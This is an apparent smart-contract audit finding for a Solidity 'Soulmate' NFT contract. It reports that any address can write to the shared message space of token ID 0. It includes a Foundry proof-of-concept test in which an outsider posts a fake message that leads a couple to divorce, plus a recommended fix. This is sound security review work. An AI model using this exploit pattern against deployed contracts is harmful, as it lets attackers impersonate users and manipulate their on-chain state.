Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Anyone can write a message to `soulmates` who own `nextID`, also known as `tokenID` `0`. A hater can cause `soulmates` to get divorced.

Summary

Soulmate::writeMessageInSharedSpace The function is vulnerable, allowing anybody to write a message to soulmates who own nextID 0, which is truly disturbing. Soulmates with nextID 0 has no protection against, misleading, heartless, messages from any unknown person.

function writeMessageInSharedSpace(string calldata message) external {
// -------------
// ------- ||
// ---- \/
@> uint256 id = ownerToId[msg.sender];
sharedSpace[id] = message;
emit MessageWrittenInSharedSpace(id, message);
}

Vulnerability Details

Please read the comments, i commented out...

PoC:Ruin Relationship
  1. Place the following test code snippet into the test/unit/soulmateTest.t.sol file. Put it at the very bottom but before the last closing semicolon }.

function test_UnknownWriteSharedSpace() public {
address alice = makeAddr("ALICE");
address bob = makeAddr("BOB");
address hater = makeAddr("Hater");
// Alice mints the soulmate token to acquire a soulmate.
// Alice has to wait for her soulmate assignment...
// Therefore, Alice is currently the first one to seek a soulmate.
vm.startPrank(alice);
soulmateContract.mintSoulmateToken();
vm.stopPrank();
// Bob also desires a soulmate, so he mints the soulmate token.
// Hurray! Bob is matched with Alice.
// Congratulations to both! Now they are soulmates.
// Cheers! They can make their Valentine's day even more romantic, all thanks to `Soulmate` DAP (Probably).
vm.startPrank(bob);
soulmateContract.mintSoulmateToken();
vm.stopPrank();
// Bob misses Alice, so he decides to message her.
vm.startPrank(bob);
string memory message = "Hey, I just wanted to say, I <3 U";
soulmateContract.writeMessageInSharedSpace(message);
vm.stopPrank();
// Alice also thinks about Bob.
// She checks if there's any message from Bob??
// Voila! Here's a message for Alice, made more romantic by Soulmate's wizardry.
vm.startPrank(alice);
string memory fetchedMessageToRead = soulmateContract.readMessageInSharedSpace();
vm.stopPrank();
console2.log("Bob Sent a Message: ", message);
console2.log("Alice Retrieved the message: ", fetchedMessageToRead);
// Alice wants to reply to him.
vm.startPrank(alice);
string memory newMessageToBob = "I <3 U too, You're my life <3 <3 <3";
soulmateContract.writeMessageInSharedSpace(newMessageToBob);
vm.stopPrank();
// Bob guesses Alice might have replied to his message...
vm.startPrank(bob);
string memory newMessageFromAlice = soulmateContract.readMessageInSharedSpace();
vm.stopPrank();
// Both Alice & Bob are delighted with the service `Soulmate` provides them.
console2.log("Alice Replied: ", newMessageToBob);
console2.log("Bob retrieved the message: ", newMessageFromAlice);
// Demon | Hater, is here...
// A hater hates Alice & Bob, so the hater decides to ruin their relationship.
// The hater decides to attack the `Soulmate` Contract | DAPP.
// The hater found a vulnerability in `Soulmate::writeMessageInSharedSpace` function.
// The hater noticed that anybody can write a message on behalf of the person who owns tokenID | nextID 0.
// Eventually, the hater found that tokenID 0 is owned by Alice & Bob.
// So, now the hater has a clear plan to ruin Alice & Bob's relationship.
// Threatening to ruin everything, as a sniper aimed at the `Soulmate`...🔫
vm.startPrank(hater);
uint256 tokenIdOfAlice = soulmateContract.ownerToId(alice);
uint256 tokenIdOfBob = soulmateContract.ownerToId(bob);
vm.stopPrank();
assertEq(tokenIdOfBob, tokenIdOfAlice);
console2.log("Alice's TokenID: ", tokenIdOfAlice);
console2.log("Bob's TokenID: ", tokenIdOfBob);
vm.startPrank(hater);
string memory threat = "I want a divorce. You're so selfish. It's enough!";
soulmateContract.writeMessageInSharedSpace(threat);
vm.stopPrank();
// Alice reads the message...
vm.startPrank(alice);
string memory aliceRetrievedThreat = soulmateContract.readMessageInSharedSpace();
vm.stopPrank();
vm.startPrank(bob);
string memory bobRetrievedThreat = soulmateContract.readMessageInSharedSpace();
vm.stopPrank();
console2.log("Alice Reads message (pretends written by Bob): ", aliceRetrievedThreat);
console2.log("Bob Reads message (pretends written by Bob): ", bobRetrievedThreat);
// Now Alice thinks Bob messaged her
// And Bob thinks Alice messaged him.
// Alice & Bob both agree with the fate and execute the `getDivorced` function.
vm.startPrank(alice);
soulmateContract.getDivorced();
vm.stopPrank();
vm.startPrank(bob);
soulmateContract.getDivorced();
vm.stopPrank();
vm.startPrank(alice);
bool isAliceDivorced = soulmateContract.isDivorced();
vm.stopPrank();
vm.startPrank(bob);
bool isBobDivorced = soulmateContract.isDivorced();
vm.stopPrank();
assertEq(isAliceDivorced, true);
assertEq(isBobDivorced, true);
assertEq(isBobDivorced, isAliceDivorced);
}
  1. Open Your Bash Terminal and execute the following command...

forge test --mt "test_UnknownWriteSharedSpace" -vvv --via-ir
  1. Ouput should indicate that test Passed Successfully and the hater ruined the Alice & Bob's relationship successfully.

Impact

Anyone with malicious intentions can cause soulmates to get divorced by composing misleading and heartless messages on behalf of one soulmate to their partner soulmate. The Soulmate::sharedSpace could be inundated with harmful, heartless, heart-breaking, and threatening messages. Therefore soulmates who own nextID 0 will always be vulnerable for unexpected, misleading, heartless, disgusting, messages.

Tools Used

Foundry Framework (Solidity, Rust)

Recommendations

There should be an if check to verify whether the person using the Soulmate::sharedSpace for writing and sending the message through Soulmate::writeMessageInSharedSpace function, has a soulmate assigned to their nextID that they own.

Update the src/Soulmate.sol file with the following code modifications...

...
...
...
error Soulmate__alreadyHaveASoulmate(address soulmate);
error Soulmate__SoulboundTokenCannotBeTransfered();
+ error Soulmate__DontHaveAnySoulmate(address soulmate);
...
...
...
function writeMessageInSharedSpace(string calldata message) external {
+ address sendersSoulmate = soulmateOf[msg.sender];
+ if (sendersSoulmate == address(0)) {
+ revert Soulmate__DontHaveAnySoulmate(sendersSoulmate);
+ }
uint256 id = ownerToId[msg.sender];
sharedSpace[id] = message;
emit MessageWrittenInSharedSpace(id, message);
}
...
...
...

After modifying and updating the Soulmate.sol file, try to re-execute the test discussed in the Proof of Concept (PoC). It should get reverted with the error Soulmate__DontHaveAnySoulmate(0x0000000000000000000000000000000000000000), which may also have one argument of a zero address.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-write-message-nft-0-id

Medium Severity, This has an indirect impact and influence on the possibility of divorce between soulmates owning the first soulmate NFT id0, leading to permanent loss of ability to earn airdrops/staking rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.